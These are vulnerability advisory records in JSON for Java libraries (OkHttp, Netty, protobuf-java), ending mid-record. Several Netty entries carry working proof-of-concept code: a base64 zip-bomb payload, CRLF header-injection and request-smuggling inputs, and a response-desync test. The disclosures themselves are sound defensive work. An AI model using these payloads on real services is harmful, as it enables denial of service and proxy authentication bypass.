{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.squareup.okhttp3:okhttp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-0341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-13T16:34:06Z",
    "nvd_published_at": "2021-02-10T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "In verifyHostName of OkHostnameVerifier.java, there is a possible way to accept a certificate for the wrong domain due to improperly used crypto. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: AndroidVersions: Android-8.1 Android-9 Android-10 Android-11 Android ID: A-171980069",
  "id": "GHSA-3cqm-mf7h-prrj",
  "modified": "2025-11-13T16:34:06Z",
  "published": "2022-05-24T17:41:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0341"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/okhttp/issues/6724"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/okhttp/pull/6741"
    },
    {
      "type": "WEB",
      "url": "https://github.com/square/okhttp/commit/f574ea2f5259d9040f264ddeb582fb1ce563f10c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/square/okhttp"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2021-02-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Square OkHttp can accept the wrong certificate"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-12T22:34:26Z",
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
  "id": "GHSA-4gg5-vx3j-xwc7",
  "modified": "2025-09-02T19:38:11Z",
  "published": "2022-12-12T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/db7c17803320525722f45c1d26fc08bc41d1bf48"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:21:48Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another\u0027s.\n\n### Details\nHttpClientCodec pairs each inbound response with an outbound request by `queue.poll()` once per response, including for `1xx`. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u2019s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites \n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n        ByteBuf request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n        request = channel.readOutbound();\n        request.release();\n        assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 OK\\r\\n\\r\\n\";\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse response = channel.readInbound();\n        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        LastHttpContent last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 2\n        response = channel.readInbound();\n        assertEquals(HttpResponseStatus.OK, response.status());\n        last = channel.readInbound();\n        assertEquals(0, last.content().readableBytes());\n        last.release();\n\n        // Response 3\n        FullHttpResponse response1 = channel.readInbound();\n        assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, response1.content().readableBytes());\n        response1.release();\n\n        assertFalse(channel.finish());\n    }\n```\n\n### Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.",
  "id": "GHSA-57rv-r2g8-2cj3",
  "modified": "2026-05-14T20:41:17Z",
  "published": "2026-05-07T00:21:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has HttpClientCodec response desynchronization"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.108.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-25T19:40:50Z",
    "nvd_published_at": "2024-03-25T20:15:08Z",
    "severity": "MODERATE"
  },
